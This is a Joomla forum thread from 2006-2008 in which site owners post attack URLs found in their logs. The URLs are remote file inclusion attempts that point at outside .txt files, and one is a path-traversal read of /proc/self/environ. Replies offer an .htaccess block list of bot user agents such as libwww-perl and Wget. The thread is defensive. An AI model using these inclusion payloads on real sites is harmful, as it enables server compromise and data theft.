A collection of strange links on my Joomla site

ased · **Joined:** Mon Oct 02, 2006 9:33 pm **Posts:** 17

Hi,

I found this in my site and i wounder whats going on , i'm using MyBlog from azrul as front page , when i put these links in the browser they took me to my front page but there are links to other sites !
How they done it ?
How to delet it and avoid it in the future.

Thanks for your help

The links :

mysite.com/index.php?view=page&pagename=http://www.yavuzselimlisesi.com/components/com_kanbankasi/language/id.txt???

mysite.com/index.php?view=page&pagename=http://student-x.com/test.txt?

.mysite.com/index.php?autoLoadConfig[333][0][autoType]=include&autoLoadConfig[333][0][loadFile]=http://hortus-alere.dyndns.org/Home/components/com_frontpage/test.txt???

mysite.com/index.php?view=page&pagename=http://www.mubune.com/plugins/safehtml/oye.txt??

wildazzjw · **Joined:** Thu Oct 12, 2006 4:07 am **Posts:** 3

I also have this activity in my logs. A google search vaguely shows this as some sort of hack. Maybe for ZenCart? Not sure able to tell if anything was exploited. Does this work on Joomla?

//index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

//index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

mandville · **Posted:** Mon Sep 15, 2008 2:31 am

it MIGHT do but my guess it was being called using the libwww bot, ban that in your htaccess and it should dramatically clear up these types of attacks

Jane Blonde · **Joined:** Sat Aug 02, 2008 2:42 pm **Posts:** 21

how do I ban that, what is exact code

Code:

SetEnvIfNoCase User-Agent "^libwww-perl" bad_bot

That's what I found with google but is that it?

Should we ban other stuff too?

J

mandville · **Posted:** Mon Sep 29, 2008 11:12 am

thats basically correct , if you search this forum especially sxome of my posts, you will see the htaccess code i use to ban this and other bad bots

mandville · **Posted:** Mon Sep 29, 2008 10:09 pm

this is the sort of full htaccess code i meant, adapt to your own use.

Code:

SetEnvIfNoCase User-Agent “^FlashGet” bad_bot
SetEnvIfNoCase User-Agent “^GetRight” bad_bot
SetEnvIfNoCase User-Agent “^GetWeb!” bad_bot
SetEnvIfNoCase User-Agent “^Go!Zilla” bad_bot
SetEnvIfNoCase User-Agent “^httplib” bad_bot
SetEnvIfNoCase User-Agent “^Indy Library” bad_bot
SetEnvIfNoCase User-Agent “^InfoNaviRobot” bad_bot
SetEnvIfNoCase User-Agent “^InterGET” bad_bot
SetEnvIfNoCase User-Agent “^Internet Ninja” bad_bot
SetEnvIfNoCase User-Agent “^LexiBot” bad_bot
SetEnvIfNoCase User-Agent “^libWeb/clsHTTP” bad_bot
SetEnvIfNoCase User-Agent “^libwww” bad_bot
SetEnvIfNoCase User-Agent “^libwww-perl” bad_bot
SetEnvIfNoCase User-Agent “^LinkextractorPro” bad_bot
SetEnvIfNoCase User-Agent “^Mozilla.*NEWT” bad_bot
SetEnvIfNoCase User-Agent “^Octopus” bad_bot
SetEnvIfNoCase User-Agent “^ProWebWalker” bad_bot
SetEnvIfNoCase User-Agent “^SuperBot” bad_bot
SetEnvIfNoCase User-Agent “^WebAuto” bad_bot
SetEnvIfNoCase User-Agent “^Wells Search II” bad_bot
SetEnvIfNoCase User-Agent “^Wget” bad_bot
SetEnvIfNoCase User-Agent “^wget” bad_bot
<Limit GET POST>
order allow,deny
allow from all
deny from env=bad_bot
</Limit> 

Jane Blonde · **Joined:** Sat Aug 02, 2008 2:42 pm **Posts:** 21

Wow! Now your talking, that's great Mandivile, I feel a lot safer!

When I searched your posts for .htaccess I mostly got this one!

JB

mandville · **Posted:** Tue Sep 30, 2008 11:08 am

NP - make sure mod_rewrite is on.
you will notice that a lot of libwww will start appearing in your logs marked "denied by server" or similar

Jane Blonde · **Joined:** Sat Aug 02, 2008 2:42 pm **Posts:** 21

Code:

RewriteEngine On

mandville · **Posted:** Fri Oct 03, 2008 4:41 pm

just thought i would check if this code has helped and if not any other issues arised?

Jane Blonde · **Joined:** Sat Aug 02, 2008 2:42 pm **Posts:** 21

I have not had a problem since and am implementing it on other Joomla sites, thanks:)

guysmiley · **Posted:** Sat Nov 15, 2008 1:20 pm

Greetings,

Thanks for this list

If modsecurity is already catching it, am I burdening the server unnecessarily by adding these lines to my .htaccess?

IOW, should I add these lines to .htaccess if modsecurity is already nabbing them?

Thanks!

Joomla! Discussion Forums

Forum rules

A collection of strange links on my Joomla site

Quick reply

Who is online